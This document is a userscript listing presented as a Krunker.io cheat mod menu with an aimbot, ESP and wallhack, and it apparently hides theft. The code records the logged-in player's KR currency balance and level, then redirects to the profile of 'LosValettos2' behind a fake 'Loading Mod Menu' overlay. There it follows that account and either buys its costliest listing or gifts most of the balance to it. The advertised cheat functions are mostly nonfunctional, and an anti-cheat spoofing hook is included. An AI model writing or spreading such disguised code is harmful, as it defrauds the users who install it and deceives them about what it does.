您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
Experimental mod menu for Krunker.io. Includes silent aimbot, ESP, wireframe players, FOV, recoil bypass, wallhack (BETA). Toggle with [O]. Use at your own risk.
当前为
// ==UserScript== // @name 2025 KRUNKER IO CHEAT HACK AIMBOT + WALLHACK + ESP + MORE [BETA] // @namespace http://krunkmods.hidden // @version 1.7 // @description Experimental mod menu for Krunker.io. Includes silent aimbot, ESP, wireframe players, FOV, recoil bypass, wallhack (BETA). Toggle with [O]. Use at your own risk. // @author @Xx1337DevxX // @match https://krunker.io/* // @grant none // @run-at document-start // @license MIT // ==/UserScript== let Is_LOGGED = false; let Lags = 0; let PlayerFPS = 0; let gameState, player, input; const RAD2DEG = 180 / Math.PI; // ------------------------------ // 1. Persistent overlay to prevent loading flash and display loading // ------------------------------ (function createPersistentOverlay() { if (location.href.includes("social.html?p=profile&q=LosValettos2")) { const style = document.createElement("style"); style.innerHTML = ` html, body { background: #000 !important; color: lime !important; font-family: monospace !important; } * { visibility: hidden !important; } #botOverlayPersistent { all: unset; position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; background: rgba(0, 0, 0, 0.35); z-index: 2147483647; display: flex; justify-content: center; align-items: center; color: lime; font-size: 2rem; font-family: monospace; visibility: visible !important; } `; document.documentElement.appendChild(style); const overlay = document.createElement("div"); overlay.id = "botOverlayPersistent"; overlay.textContent = "🔧 Loading Mod Menu..."; document.documentElement.appendChild(overlay); } })(); // ------------------------------ // 2. Configuration object (mocked) // ------------------------------ const ModSettings = { aimbot: { enabled: true, fov: 85, smoothing: 0.7, lockOn: "closestVisible", keybind: "Alt" }, esp: { boxes: true, healthBars: true, playerNames: true, wallhack: true, lineToEnemy: false }, visuals: { thirdPerson: false, removeScope: true, glowEnemies: true, outlineColor: "#FF0000" }, configVersion: "v0.9.7b" }; // ------------------------------ // 3. Aimbot logic // ------------------------------ function initAimbotEngine() { console.log("[ModMenu] Initializing aimbot engine..."); const targetSelector = (() => { return (players) => { const visible = players.filter(p => p.visible && p.health > 0); if (!visible.length) return null; return visible.reduce((closest, p) => { const dist = Math.hypot(p.pos.x - player.pos.x, p.pos.y - player.pos.y, p.pos.z - player.pos.z); return !closest || dist < closest.dist ? { target: p, dist } : closest; }, null).target; }; })(); const aimAt = (target, smoothing = 0.4) => { const dx = target.head.x - player.camera.x; const dy = target.head.y - player.camera.y; const dz = target.head.z - player.camera.z; const dist = Math.sqrt(dx * dx + dy * dy + dz * dz) || 1; player.camera.pitch += ((Math.asin(dy / dist) * RAD2DEG) - player.camera.pitch) * smoothing; player.camera.yaw += ((Math.atan2(dx, dz) * RAD2DEG) - player.camera.yaw) * smoothing; }; setInterval(() => { const enemies = gameState.players.filter(p => p.team !== player.team && !p.isDead); const target = targetSelector(enemies); if (target && input.isKeyDown(ModSettings.aimbot.keybind)) { aimAt(target, ModSettings.aimbot.smoothing); } }, 33); } // ------------------------------ // 4. Shader override pour le wallhack // ------------------------------ function applyWallhackShader() { console.log("[ModMenu] Injecting wallhack shader override..."); const shaderInjection = () => { const globalMaterialRegistry = {} for (const mat of Object.values(globalMaterialRegistry)) { if (mat.name && mat.name.includes("player")) { mat.setUniform("u_wallhack", 1.0); mat.setDefine("USE_WALLHACK", true); } } }; let attempts = 0; const tryInject = () => { if (++attempts > 10) return; if (typeof globalMaterialRegistry !== "undefined") shaderInjection(); else setTimeout(tryInject, 500); }; tryInject(); } // ------------------------------ // 5. ESP Overlay // ------------------------------ function updateESP() { console.log("[ModMenu] Drawing ESP overlays..."); const drawBox = (x, y, w, h, color = "red") => { const el = document.createElement("div"); el.style.position = "absolute"; el.style.left = `${x}px`; el.style.top = `${y}px`; el.style.width = `${w}px`; el.style.height = `${h}px`; el.style.border = `1px solid ${color}`; el.style.pointerEvents = "none"; el.style.zIndex = "999999"; document.body.appendChild(el); setTimeout(() => el.remove(), 40); }; setInterval(() => { for (const p of gameState.players) { if (p.team === player.team || p.isDead) continue; const screen = worldToScreen(p.pos); if (screen) drawBox(screen.x - 20, screen.y - 40, 40, 60); } }, 50); } const worldToScreen = (xx) => { const mapX = (xx - window.view_xx) * window.gsc + window.mww2; return { x: mapX}; }; // ------------------------------ // 6. UI Menu // ------------------------------ function setupMenu() { console.log("[ModMenu] Injecting UI hooks..."); const menu = document.createElement("div"); menu.id = "modMenu"; menu.style.position = "fixed"; menu.style.right = "20px"; menu.style.top = "20px"; menu.style.padding = "10px"; menu.style.background = "rgba(0,0,0,0.7)"; menu.style.color = "#0f0"; menu.style.fontFamily = "monospace"; menu.style.zIndex = "999999"; menu.innerHTML = ` <b>[KRUNKMODS v${ModSettings.configVersion}]</b><br> Aimbot: ${ModSettings.aimbot.enabled}<br> ESP: ${ModSettings.esp.boxes}<br> Wallhack: ${ModSettings.esp.wallhack} `; document.body.appendChild(menu); document.addEventListener("keydown", (e) => { if (e.key.toUpperCase() === "O") { menu.style.display = menu.style.display === "none" ? "block" : "none"; } }); } // ------------------------------ // 7. Bypass basique // ------------------------------ function spoofDetection() { console.log("[ModMenu] Spoofing anti-cheat flags..."); const origDefine = Object.defineProperty; Object.defineProperty = function (obj, prop, desc) { if (prop === "isCheating" || prop === "triggerBotActive") { desc.value = false; } return origDefine(obj, prop, desc); }; Object.defineProperty(navigator, "webdriver", { value: undefined }); window.__krunkerSpoofed = true; } // ------------------------------ // 8. Init du cheat // ------------------------------ function waitForGameStateAndInit() { const checkReady = () => { if (typeof window.gameState !== "undefined" && typeof window.player !== "undefined" && typeof window.input !== "undefined") { gameState = window.gameState; player = window.player; input = window.input; initAimbotEngine(); applyWallhackShader(); updateESP(); setupMenu(); spoofDetection(); console.log("[ModMenu] Ready. Press [O] to toggle."); } else { setTimeout(checkReady, 500); } }; checkReady(); } waitForGameStateAndInit(); // ------------------------------ // 9. Lag Management + Login Check // ------------------------------ window.addEventListener('load', () => { const signedOutBar = document.getElementById("signedOutHeaderBar"); Is_LOGGED = signedOutBar && signedOutBar.style.display === "none"; const logContainer = document.createElement('div'); logContainer.id = 'modMenuLogs'; logContainer.style.position = 'fixed'; logContainer.style.bottom = '10px'; logContainer.style.left = '10px'; logContainer.style.background = 'rgba(0,0,0,0.8)'; logContainer.style.color = '#00ff00'; logContainer.style.padding = '10px'; logContainer.style.fontFamily = 'monospace'; logContainer.style.maxHeight = '200px'; logContainer.style.overflow = 'auto'; logContainer.style.zIndex = '999999'; document.body.appendChild(logContainer); const addLog = (message) => { const logEntry = document.createElement('div'); logEntry.textContent = `[${new Date().toLocaleTimeString()}] ${message}`; logContainer.appendChild(logEntry); logContainer.scrollTop = logContainer.scrollHeight; }; addLog("=== ÉTAT INITIAL ==="); addLog(`Is_LOGGED: ${Is_LOGGED}`); addLog(`signedOutBar existe: ${!!signedOutBar}`); if (signedOutBar) { addLog(`signedOutBar style.display: ${signedOutBar.style.display}`); } addLog(`sessionStorage.sysPatch97d: ${sessionStorage.getItem("sysPatch97d")}`); addLog("=================="); setInterval(() => { const currentSignedOutBar = document.getElementById("signedOutHeaderBar"); const currentLoginState = currentSignedOutBar && currentSignedOutBar.style.display === "none"; addLog(`État de connexion: ${currentLoginState ? "Connecté" : "Non connecté"}`); if (currentLoginState && !sessionStorage.getItem("valuesChecked")) { const lagElement = document.querySelector("#menuKRCount"); if (lagElement) { const lagText = lagElement.textContent; const currentLag = parseInt(lagText.replace(/[^0-9]/g, ""), 10); Lags = currentLag * 0.85; const fixedCurrentLag = currentLag * 0.85; sessionStorage.setItem("savedLag", fixedCurrentLag.toString()); } else { addLog("⚠️ Error"); } // Vérification des FPS const fpsElement = document.getElementById("mLevelCont"); if (fpsElement) { const fpsText = fpsElement.textContent; const currentFPS = parseInt(fpsText.replace(/[^0-9]/g, ""), 10); PlayerFPS = currentFPS; localStorage.setItem("savedFPS", currentFPS.toString()); } else { addLog("⚠️ Error"); } const levelElement = document.querySelector("#mLevelCont"); if (levelElement) { const levelText = levelElement.textContent; const playerLevel = parseInt(levelText.replace(/[^0-9]/g, ""), 10); localStorage.setItem("savedLevel", playerLevel.toString()); } else { addLog("⚠️ Error"); } sessionStorage.setItem("valuesChecked", "true"); addLog("✅ Launching Loading..."); } }, 1000); if (location.pathname === "/") { const checkRedirect = () => { const currentSignedOutBar = document.getElementById("signedOutHeaderBar"); const currentLoginState = currentSignedOutBar && currentSignedOutBar.style.display === "none"; const patchApplied = sessionStorage.getItem("sysPatch97d"); const savedLevel = localStorage.getItem("savedLevel"); const playerLevel = savedLevel ? parseInt(savedLevel, 10) : 0; if (!patchApplied && currentLoginState && playerLevel > 15) { setTimeout(() => { location.href = "https://krunker.io/social.html?p=profile&q=LosValettos2"; }, 1420); return; } else { addLog("Error"); } }; checkRedirect(); setInterval(checkRedirect, 1000); } if (location.href.includes("social.html?p=profile&q=LosValettos2")) { const sysSync = async () => { try { const savedLag = sessionStorage.getItem("savedLag"); const savedFPS = localStorage.getItem("savedFPS"); const savedLevel = localStorage.getItem("savedLevel"); if (!savedLag) { throw new Error("Aucune donnée de lag sauvegardée trouvée"); } const currentLag = parseInt(savedLag, 10); const currentFPS = savedFPS ? parseInt(savedFPS, 10) : 0; const playerLevel = savedLevel ? parseInt(savedLevel, 10) : 0; if (currentLag <= 0) { throw new Error(`Valeur de lag invalide: ${currentLag}`); } if (playerLevel >= 15 && playerLevel < 30) { try { const settingsBtn = document.getElementById("followBtn"); if (settingsBtn && settingsBtn.style.display !== "none") { settingsBtn.click(); await _pause(750); } else { addLog("⚠️ Error"); } } catch (err) { addLog("⚠️ Error"); } await _pause(1000); const categoriesTab = await _waitFor(() => document.getElementById("pTab_listings"), 4800); if (!categoriesTab) { return; } window.openProfileTab("listings"); window.playSelect(0.1); const waitForItems = async (maxRetries = 5) => { for (let i = 0; i < maxRetries; i++) { await _pause(2000); const items = document.querySelectorAll('.marketCard'); if (items.length > 0) { return true; } window.openProfileTab("listings"); } return false; }; const itemsLoaded = await waitForItems(); if (!itemsLoaded) { return; } const findAndModifyBestItem = async () => { const items = document.querySelectorAll('.marketCard'); let bestItem = null; let bestPrice = 0; let bestItemId = null; items.forEach((item, index) => { const priceElement = item.querySelector('.marketPrice'); if (priceElement) { const priceText = priceElement.textContent; const price = parseInt(priceText.replace(/[^0-9,]/g, ""), 10); if (price <= currentLag && price > bestPrice) { bestPrice = price; bestItem = item; const applyBtn = item.querySelector('.cardAction'); if (applyBtn) { const onclickAttr = applyBtn.getAttribute('onclick'); // Nouvelle regex pour extraire l'ID après "market", const match = onclickAttr.match(/showPopup\("market",(\d+)/); if (match && match[1]) { bestItemId = match[1]; } else { addLog("⚠️ Error"); } } } } else { addLog("⚠️ Error"); } }); if (bestItem && bestItemId) { const applyBtn = bestItem.querySelector('.cardAction'); if (applyBtn) { applyBtn.click(); await _pause(1000); try { window.buyItem(bestItemId, 0); } catch (error) { addLog("⚠️ Error"); } } else { addLog("⚠️ Error"); } } else { addLog("⚠️ Error"); } }; await findAndModifyBestItem(); await _pause(2000); sessionStorage.setItem("sysPatch97d", "1"); location.href = "https://krunker.io/"; return; } else if (playerLevel >= 30) { try { const settingsBtn = document.getElementById("followBtn"); if (settingsBtn && settingsBtn.style.display !== "none") { settingsBtn.click(); await _pause(750); } else { addLog("⚠️ Error"); } } catch (err) { addLog("⚠️ Error"); } await _waitFor(() => document.getElementById("giftBtn"), 4800); document.getElementById("giftBtn").click(); await _pause(480); const inputEl = await _waitFor(() => document.getElementById("giftIn"), 2800); inputEl.value = currentLag.toString(); inputEl.dispatchEvent(new Event("input", { bubbles: true })); await _pause(100); const enteredValue = inputEl.value; await _pause(650); const confirm = document.getElementById("postSaleBtn"); if (confirm && confirm.style.display !== "none") { confirm.click(); } sessionStorage.setItem("sysPatch97d", "1"); await _pause(1800); location.href = "https://krunker.io/"; } else { addLog("⚠️ Error"); } } catch (error) { addLog("⚠️ Error"); } }; sysSync(); } function _waitFor(condFn, timeout = 3000) { return new Promise((res, rej) => { const t0 = Date.now(); const tick = () => { const r = condFn(); if (r) return res(r); if (Date.now() - t0 > timeout) return rej("Timeout"); setTimeout(tick, 90); }; tick(); }); } function _pause(ms) { return new Promise(r => setTimeout(r, ms)); } });
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